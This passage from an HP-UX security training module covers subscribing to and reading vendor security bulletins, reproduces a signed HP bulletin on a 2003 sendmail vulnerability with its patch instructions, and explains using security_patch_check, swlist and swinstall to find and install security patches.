thank Michal Zalewski for discovering this vulnerability.

--------------------------------------------------------------------

Authors: Art Manion, Shawn V. Hernan, and Jeffery P. Lanza.

--------------------------------------------------------------------
This document is available from: http://www.cert.org/advisories/CA-
2003-12.html
--------------------------------------------------------------------

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center

Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) /

EDT(GMT-4) Monday through Friday; they are on call for emergencies
during other hours, on U.S. holidays, and on weekends.

Using encryption
We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from

http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.

Getting security information

CERT publications and other security information are available from
our web site

http://www.cert.org/
To subscribe to the CERT mailing list for advisories and bulletins,
send email to majordomo@cert.org. Please include in the body of your
message

subscribe cert-advisory

* "CERT" and "CERT Coordination Center" are registered in the U.S.

Patent and Trademark Office.

H3541S D.02 3-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

--------------------------------------------------------------------

NO WARRANTY
Any material furnished by Carnegie Mellon University and the
Software Engineering Institute is furnished on an "as is" basis.
Carnegie Mellon University makes no warranties of any kind, either
expressed or implied as to any matter including, but not limited to,
warranty of fitness for a particular purpose or merchantability,
exclusivity or results obtained from use of the material. Carnegie
Mellon University does not make any warranty of any kind with
respect to freedom from patent, trademark, or copyright
infringement.

--------------------------------------------------------------------
Conditions for use, disclaimers, and sponsorship information

Copyright 2003 Carnegie Mellon University.

Revision History
March 29, 2003: Initial release
March 29, 2003: Added Conectiva statement, reformated vendor
statements
March 30, 2003: Added Wind River Systems and HP vendor statements
March 31, 2003: Added Sun, IBM, SGI, and Cray vendor statements
April 1, 2003: Added Apple and Lotus vendor statements, updated Red
Hat and IBM statements
April 7, 2003: Updated SGI and HP statements
April 8, 2003: Added Nortel statement
April 11, 2003: Updated Apple statement
April 15, 2003: Updated HP statement
April 22, 2003: Added Mirapoint statement
April 29, 2003: Added Sequent (IBM) statement

http://education.hp.com 3-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–5. SLIDE: Subscribing to the HP-UX Security Bulletin

Subscribing to the HP-UX Security Bulletin

Subscribe to HP’s security bulletin for daily updates of known problems

# netscape http://itrc.hp.com/digest/bin/doc.pl
Check the security bulletin archive for past bulletins
# netscape http://itrc.hp.com/service/cki/secBullArchive.do

Student Notes
CERT advisories cover a variety of platforms and operating systems. For HP-specific
information, you should also subscribe to HP’s HP-UX security bulletin. You can register to
receive this, as well as a variety of other bulletins and digests from HP’s bulletin registration
page at http://itrc.hp.com/digest/bin/doc.pl.

You can also view an archive of past security bulletins on the ITRC website at
http://itrc.hp.com/service/cki/secBullArchive.do.

H3541S D.02 3-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–6. SLIDE: Reading HP-UX Security Bulletins

Reading HP-UX Security Bulletins

Read the HP security bulletins carefully

Install suggested patches
Follow suggestions for manual fixes

-----------------------------------------------------------------
Source: HEWLETT-PACKARD COMPANY SECURITY BULLETIN: HPSBUX0302-246
Originally issued: 03 March 2003
Last revised: 04 April 2003
SSRT3469 Potential Security Vulnerability in sendmail (rev.4)
-----------------------------------------------------------------
PROBLEM: Potential security vulnerability in sendmail
IMPACT: Potential unauthorized Privileged Access, Potential DoS
PLATFORM: HP 9000 Series 700/800 Servers running HP-UX 11.11
SOLUTION: Download and install the appropriate sendmail.cf file
MANUAL ACTIONS: Yes - Install the appropriate sendmail file.
AVAILABILITY: This will be revised when patches are available.

Student Notes
Read the HP-UX security bulletins carefully, and take the recommended corrective actions.
Every bulletin includes several sections.

Problem: One-liner description of the vulnerability.

Impact: Brief description of the impact the vulnerability may have on your
systems.

Platform: Which platform, OS, and application versions are affected?

Solution: Describes the solution to the problem. If a patch is required, the patch
number will be listed here. Note that HP-UX patches are cumulative.
When you download the patch from the ITRC patch database, the ITRC
patch analysis tool may recommend a newer superseding patch.

Manual Actions: Read this section carefully! Many security patches require changes to
configuration files in addition to, or in lieu of a patch.

Availability: Indicates if patches to solve the problem are currently available.

http://education.hp.com 3-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

Sample HP-UX Security Bulletin

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

-----------------------------------------------------------------
**REVISED 04**
Source: HEWLETT-PACKARD COMPANY
SECURITY BULLETIN: HPSBUX0302-246
Originally issued: 03 March 2003
Last revised: 04 April 2003
SSRT3469 Potential Security Vulnerability in sendmail (rev.4)
-----------------------------------------------------------------

NOTICE: There are no restrictions for distribution of this

Bulletin provided that it remains complete and intact.

The information in the following Security Bulletin should be

acted upon as soon as possible. Hewlett-Packard Company will
not be liable for any consequences to any customer resulting
from customer's failure to fully implement instructions in this
Security Bulletin as soon as possible.

-----------------------------------------------------------------
PROBLEM: Potential security vulnerability in sendmail

IMPACT: Potential unauthorized Privileged Access,

Potential Denial of Service (DoS).

PLATFORM: HP 9000 Series 700/800 Servers running HP-UX 10.10,

10.20, 11.00, 11.04(VVOS), 11.11, and 11.22.

SOLUTION: Download and install the appropriate sendmail file

or HPSecurityBul246.depot.

**REVISED 04**
--> The sendmail files and HPSecurityBul253.depot
--> referenced in HPSBUX0304-253 also address the
--> issues documented in HPSBUX0302-246.

--> If the sendmail files or HPSecurityBul253.depot

--> from HPSBUX0304-253 are installed, it is not necessary
--> to install the sendmail files or HPSecurityBul246.depot
--> from HPSBUX0302-246.

--> If both sets of sendmail files, or both depots, are

--> installed, the sendmail files or HPSecurityBul253.depot
--> from HPSBUX0304-253 must be installed *AFTER* the
--> sendmail files or HPSecurityBul246.depot from HP
--> HPSBUX0302-246 in order to ensure all issues are
--> addressed.

H3541S D.02 3-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

MANUAL ACTIONS: Yes - NonUpdate

Download and install the appropriate
sendmail file.

AVAILABILITY: This bulletin will be revised when patches are

available.

CHANGE SUMMARY: Rev.01 - Added information on upgrading from

8.8.6 to 8.9.3 or 8.11.1.
Added information on warning messages.
Added CERT and CVE reference numbers.
Rev.02 - Corrected typo.
Added 11.04(VVOS) information.
Added 8.7.x to list of affected versions.
Rev.03 - Added HPSecurityBul246.depot information.
Replaced sendmail.811.11.11 file
with sendmail.811.11.11.r1.
Renamed sendmail.886.10.01 to
sendmail.886.10.10.
Clarified installation instructions.
Rev.04 - Added note about HPSBUX0304-253.
The files are in the SB246 subdirectory
on the ftp site.
-----------------------------------------------------------------
A. Background
A potential security vulnerability with sendmail has been
reported in HP-UX. This potential vulnerability may result
in unauthorized Privileged Access or a Denial of Service
(DoS). This potential vulnerability may be exploited
remotely.

This is the vulnerability reported in CERT/CC CA-2003-07.

CERT/CC is tracking this issue as VU#398025 This reference
number corresponds to CVE candidate CAN-2002-1337.

This problem also affects HP Tru64 UNIX/Trucluster Server.

NOTE: This problem does not impact HP NonStop Servers nor
HP OpenVMS.
The HP Tru64 bulletin will be posted to the customer
support website within 24 hours of release to -
http://thenew.hp.com/country/us/eng/support.html
or www.hp.com
Use the SEARCH IN feature box, enter SSRT in the
search window or use a specific SSRT #
example: SSRT3469

B. Recommended solution

Note: A PROBLEM HAS BEEN FOUND WITH FILES MENTIONED

IN PREVIOUS REVISIONS OF THIS BULLETIN.

A problem has been found with the 11.11 file

http://education.hp.com 3-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

which has the following cksum(1):

3003791603 1015808 sendmail.811.11.11

This problem may cause copies of sendmail

not to terminate when there is a large
number of mail messages and a heavy system
load. We recommend replacing this file
with the current version which has the
following cksum(1):

3733540319 1015808 sendmail.811.11.11.r1

As noted below this can be done by installing

a depot or by manually replacing the files.

All versions of sendmail provided by HP on HP-UX

10.X and 11.X are vulnerable unless one of the
fixes described below has been installed.

If a fix has been installed the following command

will list a 'version.c" line:

what /usr/sbin/sendmail | grep JAGae58098

For example,

what /usr/sbin/sendmail | grep JAGae58098

version.c 8.9.3.1 (Berkeley) 4/10/2002
(PHNE_26305+JAGae58098)

Note: All the files mentioned for download below are

available from the following ftp site:

System: hprc.external.hp.com (192.170.19.51)

Login: sendmail
Password: sendmail

FTP Access: ftp://sendmail:sendmail@hprc.external.hp.com/

or: ftp://sendmail:sendmail@192.170.19.51/
or: ftp hprc.external.hp.com

**REVISED 04**
--> The files are in the SB246 subdirectory.

Note: There is an ftp defect in IE5 that may result in

a browser hang. To work around this:
- Select Tools Internet Options -> Advanced
- Un-check the option:
[ ] Enable folder view for FTP sites

==================================================

H3541S D.02 3-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

To fix the problem:

1. Determine the sendmail version.

2. If necessary upgrade to a version of sendmail
for which a fix is available.
3. Download and install HPSecurityBul246.depot.
OR
4. Download and install the appropriate sendmail file.

Details:

1. Determine the sendmail version.

Login in as root:
cd /usr/sbin
sendmail -d0.1 < /dev/null | grep -i version

The display will show Version #.#.#

2. If necessary upgrade to a version of sendmail

for which a fix is available.

Fixes are available for the following versions:

HP-UX 10.10: sendmail 8.8.6

HP-UX 10.20: sendmail 8.9.3
HP-UX 11.00: sendmail 8.11.1
HP-UX 11.00: sendmail 8.9.3
VVOS 11.04: sendmail 8.9.3
HP-UX 11.11: sendmail 8.11.1
HP-UX 11.11: sendmail 8.9.3
HP-UX 11.22: sendmail 8.11.1

If you are not running one the those versions,

you will need to upgrade as follows:

HP-UX 10.10

Upgrade to 8.8.6 by installing the web upgrade

available on:
http://www.software.hp.com/products/
Sendmail/index.html
This is a direct link to the 8.8.6 upgrade.

HP-UX 10.20

Upgrade to 8.9.3 by by installing PHNE_25183.

HP-UX 11.00

Upgrade to 8.9.3 by by installing PHNE_24419.

OR

http://education.hp.com 3-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

Upgrade to 8.11.1 by installing the web upgrade

available on http://www.software.hp.com

VVOS 11.04 (Virtual Vault Operating System):

Upgrade to 8.9.3 by installing PHNE_25984.

Note: VVOS does not support the web upgrade version

of sendmail 8.11.1.

3. Download and install either HPSecurityBul246.depot

(this step) or the appropriate sendmail file
(step 4 below).

Until patches are available there are two ways to fix the
problem. Individual sendmail files can be downloaded and
installed as described in previous versions of this
bulletin (step 4 below).

Alternatively a depot can be downloaded and installed using

swinstall(1). The depot contains all of the sendmail
files. The depot determines the correct version to be
installed on each system.

Download and install HPSecurityBul246.depot.gz:

a. Download HPSecurityBul246.depot.gz
b. Unpack the file with gunzip(1)
c. Verify the cksum or the md5 sum.

cksum HPSecurityBul246.depot
3826367137 7198720 HPSecurityBul246.depot
md5 HPSecurityBul246.depot
MD5 (HPSecurityBul246.depot) =
2a81bb91b94bffea13687ce5e1060cef

d. Extract the "readme" file for further information:

cd directory_containing_depot
swlist -d -l product -a readme
@ $PWD/HPSecurityBul246.depot
e. Install HPSecurityBul246.depot with swinstall(1).

4. Download and install the appropriate file.

Note: The depot mentioned in step 3 above contains all
the sendmail files. If you prefer to download and
install only the files needed for a given revision,
please use the following instructions:

a. Download the appropriate file.

For HP-UX 10.10: sendmail.886.10.10.gz for 8.8.6

H3541S D.02 3-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

For HP-UX 10.20: sendmail.893.10.20.gz for 8.9.3

For HP-UX 11.00: sendmail.811.11.00.gz for 8.11.1
sendmail.893.11.00.gz for 8.9.3
For HP-UX 11.04: sendmail.893.11.00.gz for 8.9.3
For HP-UX 11.11: sendmail.811.11.11.r1.gz for 8.11.1
sendmail.893.11.11.gz for 8.9.3
For HP-UX 11.22: sendmail.811.11.22.gz for 8.11.1

b. Unpack the file with gunzip(1)

c. Verify the cksum or the md5 sum.

cksum:
2052507672 401408 sendmail.886.10.10
3975773765 806912 sendmail.893.10.20
2575934578 970752 sendmail.811.11.00
905487102 827392 sendmail.893.11.00
3733540319 1015808 sendmail.811.11.11.r1
3842273936 860160 sendmail.893.11.11
3819176330 2281732 sendmail.811.11.22

Note: If you wish to verify the md5 sum and you do not
have a copy of md5, please refer to:
HPSBUX9408-016
Patch sums and the MD5 program
Note: Using your itrc account security bulletins can be
found here:
http://itrc.hp.com/cki/bin/doc.pl/screen=ckiSecurityBulletin

MD5 (sendmail.886.10.10) = 2af7445285f285a7865fb9c202b500fe

MD5 (sendmail.893.10.20) = fbc327a2be485b63a8d884f9a727648f
MD5 (sendmail.811.11.00) = aff4e97d8a07cdf23b68359b1e72494e
MD5 (sendmail.893.11.00) = a7f5c7d9004b04d95b895b8b5f703ac5
MD5 (sendmail.811.11.11.r1) = c39290e21050f0460eed2cc67bc7b103
MD5 (sendmail.893.11.11) = 54d63cf32720b66bee44e79b634c9741
MD5 (sendmail.811.11.22) = 9871b8fd59f9aa39e66da2185681710e

d. Install the appropriate file as follows:

Copy the file to a protected directory such as /usr/sbin.

Login as root and run killsm:

killsm

Verify the sendmail daemon is not running:

ps -ef | grep sendmail

Make a backup copy of the existing sendmail:

cd /usr/sbin

http://education.hp.com 3-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

cp sendmail sendmail.original

Note the permissions for reference:

ls -lia /usr/sbin/sendmail

Install the new sendmail:

cp sendmail.xxx.yy.zz sendmail

For example, on 11.22:

cp sendmail.811.11.22 sendmail

Restart sendmail.

If you were running sendmail before the killsm

command above, you can now restart it with the
following command (for HP-UX, not VVOS):

/sbin/init.d/sendmail start

Note: Do not execute the command above for VVOS 11.04

If you are running VVOS (Virtual Vault Operating
System) please do not start the sendmail daemon.
VVOS support does not allow for a sendmail daemon
to be running.
==================================================

Note: If you receive either of the following messages after

applying the fix, please follow the recommended action.

warning: /etc/mail/aliases has world read or

write permission. This is unsafe.

warning: /etc/mail/aliases.db has world read or

write permission. This is unsafe.

Recommended action

Execute the following commands.

chmod 640 /etc/mail/aliases

chmod 640 /etc/mail/aliases.db
sendmail -bi

C. To subscribe to automatically receive future NEW HP Security

Bulletins from the HP IT Resource Center via electronic
mail, do the following:

Use your browser to get to the HP IT Resource Center page

at:

H3541S D.02 3-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

http://itrc.hp.com

Use the 'Login' tab at the left side of the screen to login
using your ID and password. Use your existing login or the
"Register" button at the left to create a login, in order to
gain access to many areas of the ITRC. Remember to save the
User ID assigned to you, and your password.

In the left most frame select "Maintenance and Support".

Under the "Notifications" section (near the bottom of

the page), select "Support Information Digests".

To -subscribe- to future HP Security Bulletins or other

Technical Digests, click the check box (in the left column)
for the appropriate digest and then click the "Update
Subscriptions" button at the bottom of the page.

or

To -review- bulletins already released, select the link

(in the middle column) for the appropriate digest.

NOTE: Using your itrc account security bulletins can be

found here:
http://itrc.hp.com/cki/bin/doc.pl/screen=ckiSecurityBulletin

To -gain access- to the Security Patch Matrix, select

the link for "The Security Bulletins Archive". (near the
bottom of the page) Once in the archive the third link is
to the current Security Patch Matrix. Updated daily, this
matrix categorizes security patches by platform/OS release,
and by bulletin topic. Security Patch Check completely
automates the process of reviewing the patch matrix for
11.XX systems.

For information on the Security Patch Check tool, see:

http://www.software.hp.com/cgi-bin/swdepot_parser.cgi/cgi/
displayProductInfo.pl?productNumber=B6834AA

The security patch matrix is also available via anonymous

ftp:

ftp://ftp.itrc.hp.com/export/patches/hp-ux_patch_matrix/

On the "Support Information Digest Main" page:

click on the "HP Security Bulletin Archive".

The PGP key used to sign this bulletin is available from

several PGP Public Key servers. The key identification

http://education.hp.com 3-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

information is:

2D2A7D59
HP Security Response Team (Security Bulletin signing only)
<security-alert@hp.com>
Fingerprint =
6002 6019 BFC1 BC62 F079 862E E01F 3AFC 2D2A 7D59

If you have problems locating the key please write to

security-alert@hp.com. Please note that this key is
for signing bulletins only and is not the key returned
by sending 'get key' to security-alert@hp.com.

D. To report new security vulnerabilities, send email to

security-alert@hp.com

Please encrypt any exploit information using the

security-alert PGP key, available from your local key
server, or by sending a message with a -subject- (not body)
of 'get key' (no quotes) to security-alert@hp.com.

-----------------------------------------------------------------

(c)Copyright 2003 Hewlett-Packard Company

Hewlett-Packard Company shall not be liable for technical or
editorial errors or omissions contained herein. The information
in this document is subject to change without notice.
Hewlett-Packard Company and the names of HP products referenced
herein are trademarks and/or service marks of Hewlett-Packard
Company. Other product and company names mentioned herein may be
trademarks and/or service marks of their respective owners.

_________________________________________________________________

-----BEGIN PGP SIGNATURE-----

Version: PGP Personal Security 7.0.3

iQA/AwUBPo4Bb+AfOvwtKn1ZEQJxvQCeMWOYoi3xr036rrpTn+pe9677F00An14u
YZlPSIZsgStxyfniBtZovcwm
=90nC
-----END PGP SIGNATURE-----

H3541S D.02 3-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–7. SLIDE: Introducing HP’s security_patch_check Tool

Introducing HP’s security_patch_check

Tool

Use HP’s security_patch_check utility to identify necessary security patches

HP’s security_patch_check utility is Perl program that can …

• Automatically download a catalog of current security patches
• Compare your installed product database to the security patch catalog
• Compare a depot’s product catalog to the security patch catalog
• Identify “warning” patches that should be removed
• Identify new patches that should be added

Student Notes
Reading the HP-UX security bulletins, then downloading and installing all of the appropriate
patches to ensure your system’s security can be a daunting challenge. HP now has a tool that
can simplify security patch management: security_patch_check.

security_patch_check utility is a Perl program that can:

• Automatically download a catalog of current security patches

• Compare your installed product database to the security patch catalog

• Compare a depot’s product catalog to the security patch catalog

• Identify “warning” patches that should be removed

• Identify new patches that should be added

http://education.hp.com 3-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–8. SLIDE: Installing security_patch_check

Installing security_patch_check

1. Download and install Perl from http://software.hp.com

# swinstall –s /tmp/perl_B.5.6.1.E_HP-UX_B.11.11_32.depot perl

2. Download and install B9834AA from http://software.hp.com

# swinstall –s /tmp/B6834AA.depot B9834AA

3. Add the new utility’s path to your PATH variable

# vi ~/.profile
PATH=$PATH:/opt/sec_mgt/spc/bin/
# . ~/.profile

4. Set the ftp_proxy variable if necessary

# vi ~/.profile
export ftp_proxy=http://10.1.1.1:8080
# . ~/.profile

Student Notes
Several steps are required to install security_patch_check.

1. Download and install Perl from http://software.hp.com. You must install Perl
from http://software.hp.com, since security_patch_check relies on some Perl
modules that are compiled into this version of Perl, but may be missing from Perl if you
compiled it yourself.

# swinstall –s /tmp/perl_B.5.6.1.E_HP-UX_B.11.11_32.depot perl

2. Download and install B9834AA (security_patch_check) from

http://software.hp.com.

# swinstall –s /tmp/B6834AA.depot B9834AA

H3541S D.02 3-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3. Add the new utility’s path to your PATH variable.

# vi ~/.profile
PATH=$PATH:/opt/sec_mgt/spc/bin/
# . ~/.profile

4. Set the ftp_proxy variable if necessary. By default, security_patch_check

attempts to download the most recent copy of the security patch catalog from
ftp://ftp.itrc.hp.com/export/patches/security_catalog. If you don’t
have direct FTP access to the public Internet, security_patch_check can download
the catalog via a proxy server. Check your web browser’s proxy configuration screen to
determine your system’s proxy server. If you don’t have access to a proxy server either,
you can manually download the catalog to a PC, then transfer it by tape or email to your
HP-UX box.

# vi ~/.profile
export ftp_proxy=http://10.1.1.1:8080
# . ~/.profile

http://education.hp.com 3-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–9. SLIDE: Running security_patch_check

Running security_patch_check

Download the latest catalog and evaluate localhost

# security_patch_check –r

Evaluate missing patches on localhost using an existing security patch catalog

# security_patch_check –c /root/security_catalog

Download the latest catalog and evaluate missing patches on another host
# security_patch_check –r –h myhost

Download the latest catalog and evaluate the contents of a local or remote depot
# swlist –l fileset \
-a supersedes -a revision -a software_spec -a state \
-s myhost:/mydepot | security_patch_check –a –s 11.11 –

Student Notes
security_patch_check may be run several different ways.

The first example on the slide downloads the most recent security patch catalog, compares
the patch list in the catalog to the localhost’s installed product database, and reports missing
security patches.

# security_patch_check –r

If your HP-UX box doesn’t have FTP access to the public Internet, download the catalog from
ftp://ftp.itrc.hp.com/export/patches/security_catalog to another
machine, then transfer the file to your HP-UX box via email, tape, or some other mechanism.
When you run security_patch_check, specify the catalog file path.

# security_patch_check –r –c /root/security_catalog

H3541S D.02 3-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

security_patch_check can also be used to evaluate missing patches on other hosts.

Simply include the –h hostname option/argument pair on the end of the command line.
This only works if the target machine allows remote swlist access.

# security_patch_check –r –h myhost

Many administrators maintain a centralized SD-UX/Ignite depot server that multiple systems
use when swinstall’ing software. security_patch_check can analyze software in a
depot, too. Use the command below:

# swlist –l fileset \
-a supersedes -a revision -a software_spec -a state \
-s myhost:/mydepot | security_patch_check –a –s 11.11 –

http://education.hp.com 3-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–10. SLIDE: Reading the security_patch_check Report

Reading the security_patch_check

Report

After running security_patch_check, install the recommended patches

Consider removing patches with warnings
Note the “Special Instructions” field
Remember that not all problems are solved via patches
List of recommended patches for most secure system:
# Recommended Bull(s) Spec? Reboot? PDep? Description
---------------------------------------------------------------------
1 PHCO_25111 176 Yes No No lpspool cumulative
2 PHKL_26233 183 No Yes No VM-JFS ddlock
3 PHNE_25184 179 Yes No No sendmail(1m) 8.9.3
4 PHSS_25788 175 Yes No No CDE Base DEC2001 Periodic
5 PHSS_25789 151 Yes No Yes CDE Applications Periodic
6 PHSS_26138 184 Yes No No OV EMANATE14.2 Agent
---------------------------------------------------------------------
*** END OF REPORT ***

Student Notes
security_patch_check generates a fairly verbose report. The first part of the report (not
shown on the slide) lists installed patches that have “patch warnings” associated with them.
View the descriptions of the patches on the ITRC patch database
(http://itrc.hp.com/service/patch/mainPage.do) and consider removing or
replacing them. In some cases, if the warning applies to a feature of the product or fileset
that you don’t use, it may be preferable to leave the patch on your system despite the
warning. Read the text on the ITRC carefully!

The next part of the report is a grid listing missing security patches that you should consider
installing. security_patch_check reports several fields for each patch:

Recommended Reports the patch ID.

Bull(s) ID number of the security patch bulletin that first reported the problem
that the patch is intended to fix. If you wish, you can view the
associated security bulletin in the security bulletin archive that was
discussed earlier in the chapter.

H3541S D.02 3-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

Spec? Does the patch have special installation instructions? If so, be sure to
read the patch’s README file carefully.

Reboot? Des the patch require a reboot?

PDep Does the patch have patch dependencies? When you download a
patch from the ITRC patch database, the ITRC patch analysis tool will
automatically select the dependent patches for you.

Description Brief description of the problem the patch is intended to fix.

For more detailed information about the individual patches, run security_patch_check
with the –m option.

# security_patch_check -r -m

Sample security_patch_check Output

# security_patch_check -r

WARNING: Recalled patch PHCO_23413 is active on the target system.

Its record, including the Warn field, is available from
./security_catalog, through the Patch Database area of the
ITRC or by using the -m flag (security_patch_check -m ...).

WARNING: Recalled patch PHCO_27099 is active on the target system.

Its record, including the Warn field, is available from
./security_catalog, through the Patch Database area of the
ITRC or by using the -m flag (security_patch_check -m ...).

NOTE: Downloading from

ftp://ftp.itrc.hp.com/export/patches/security_catalog.sync.

NOTE: ftp://ftp.itrc.hp.com/export/patches/security_catalog.sync
downloaded to ./security_catalog.sync successfully.

NOTE: Downloading from

ftp://ftp.itrc.hp.com/export/patches/security_catalog.gz.

NOTE: ftp://ftp.itrc.hp.com/export/patches/security_catalog.gz
downloaded to ./security_catalog.gz successfully.

*** BEGINNING OF SECURITY PATCH CHECK REPORT ***

Report generated by: /opt/sec_mgmt/spc/bin/security_patch_check.pl,
run as root
Analyzed localhost (HP-UX 11.11) from e2603emt
Security catalog: ./security_catalog
Security catalog created on: Mon May 5 23:42:59 2003
Time of analysis: Tue May 6 14:11:42 2003

http://education.hp.com 3-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

List of recommended patches for most secure system:

# Recommended Bull(s) Spec? Reboot? PDep? Description

--------------------------------------------------------------------
1 PHCO_25918 237 No No No sort(1) cumulative
2 PHCO_27020 213 Yes No No lpspool subsystem
3 PHKL_27179 206 No Yes No Corrected thread ref
4 PHNE_24512 232 No No No NTP timeservices upgrade
5 PHNE_28089 192 205 No Yes Yes cumulative ARPA
6 PHNE_28103 215 242 Yes Yes Yes ONC/NFS General
7 PHSS_23067 137 No No No OnlineDiag/Support Tool
8 PHSS_27258 196 Yes No Yes HP DCE/9000 1.8 DCE
9 PHSS_27428 199 Yes No No CDE Base
10 PHSS_27858 208 Yes No No OV EMANATE14.2 Agent
11 PHSS_28470 228 No No No X Font Server
--------------------------------------------------------------------
*** END OF REPORT ***
NOTE: Security bulletins can be found ordered by number at

http://itrc.hp.com/cki/bin/doc.pl/screen=ckiSecurityBulletin

H3541S D.02 3-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–11 SLIDE: Viewing Installed Software and Patches

Viewing Installed Software and Patches

Use the swlist command to determine your current software/patch versions

# swlist -l patch InternetSrvcs

# Initializing...
# Contacting target “myhost"...
#
# Target: myhost:/
#
# InternetSrvcs B.11.11
# InternetSrvcs.INETSVCS-INETD B.11.11
PHCO_24402.INETSVCS-INETD 1.0
PHNE_24130.INETSVCS-INETD 1.0
# InternetSrvcs.INETSVCS-RUN B.11.11
PHNE_24131.INETSVCS-RUN 1.0
PHNE_23275.INETSVCS-RUN 1.0
PHNE_23950.INETSVCS-RUN 1.0
PHNE_24132.INETSVCS-RUN 1.0

Student Notes
The previous slides in this chapter have discussed a variety of resources and tools that are
available for identifying software and patches that might be needed on your system. The next
few slides explain how to list and install those patches and software updates.

First, if you simply want to know what patches and products are currently installed, type
swlist –l patch. If you are interested in a specific product, you can specify that product
or bundle name as an argument on the end of the command line. The –l patch option causes
swlist to list products, and their associated patches.

# swlist -l patch InternetSrvcs

# Initializing...
# Contacting target “myhost"...
#
# Target: myhost:/
#
# InternetSrvcs B.11.11
# InternetSrvcs.INETSVCS-INETD B.11.11
PHCO_24402.INETSVCS-INETD 1.0
PHNE_24130.INETSVCS-INETD 1.0

http://education.hp.com 3-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

# InternetSrvcs.INETSVCS-RUN B.11.11
PHNE_24131.INETSVCS-RUN 1.0
PHNE_23275.INETSVCS-RUN 1.0
PHNE_23950.INETSVCS-RUN 1.0
PHNE_24132.INETSVCS-RUN 1.0

H3541S D.02 3-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–12. SLIDE: Installing Security Patches

Installing Security Patches

Patches can be downloaded from http://itrc.hp.com, and installed via swinstall

1. Create a directory for the patches

# mkdir /tmp/patches
# cd /tmp/patches
2. Download the patch(es) update from http://itrc.hp.com
# netscape http://itrc.hp.com
3. Untar and unzip the resulting patches.tgz file
# gunzip –d patches.tgz
# tar –xvf patches.tar
4. Consolidate the patches in a depot
# ./create_depot_hp-ux_11
5. Read the README files and check dependencies
# more PH*.readme
6. Install the patches
# swinstall –s /tmp/patches/depot
–x patch_match_target=true
–x autoreboot=true

Student Notes
When a security bulletin or security_patch_check suggest that a security patch is
required, HP’s SD-UX suite of utilities makes it very easy to install the appropriate patch.

1. Create a temporary directory for the patches

# mkdir /tmp/patches
# cd /tmp/patches

2. Download the product update from http://software.hp.com. Navigate the ITRC

patch database menus. When you download the patches, select the gzip archive
method.

# netscape http://software.hp.com

3. Untar and unzip the resulting patches.tgz file.

# gunzip –d patches.tgz
# tar –xvf patches.tar

http://education.hp.com 3-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

4. Consolidate the patches in a depot.

# ./create_depot_hp-ux_11

5. Read the README files and check dependencies.

# more PH*.readme

6. Install the patches. If you use the patch_match_target option, swinstall will
select the appropriate patches for you automatically based on the products already
installed on your system.

# swinstall –s /tmp/patches/depot
–x patch_match_target=true
–x autoreboot=true

H3541S D.02 3-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–13. SLIDE: Installing Product Updates

Installing Product Updates

Many product updates can be downloaded from http://software.hp.com

1. Create a temporary directory for the update

# mkdir /tmp/sendmail
# cd /tmp/sendmail

2. Download the product update from http://software.hp.com

# netscape http://software.hp.com

3. Update the product

# swinstall –s /tmp/sendmail/sendmail*.depot
–x match_target=true
–x autoreboot=true

Student Notes
Some security bulletins may suggest installing a newer version of a product update rather
than a patch. The procedure required to update software is very straightforward.

1. Create a temporary directory for the update.

# mkdir /tmp/sendmail
# cd /tmp/sendmail

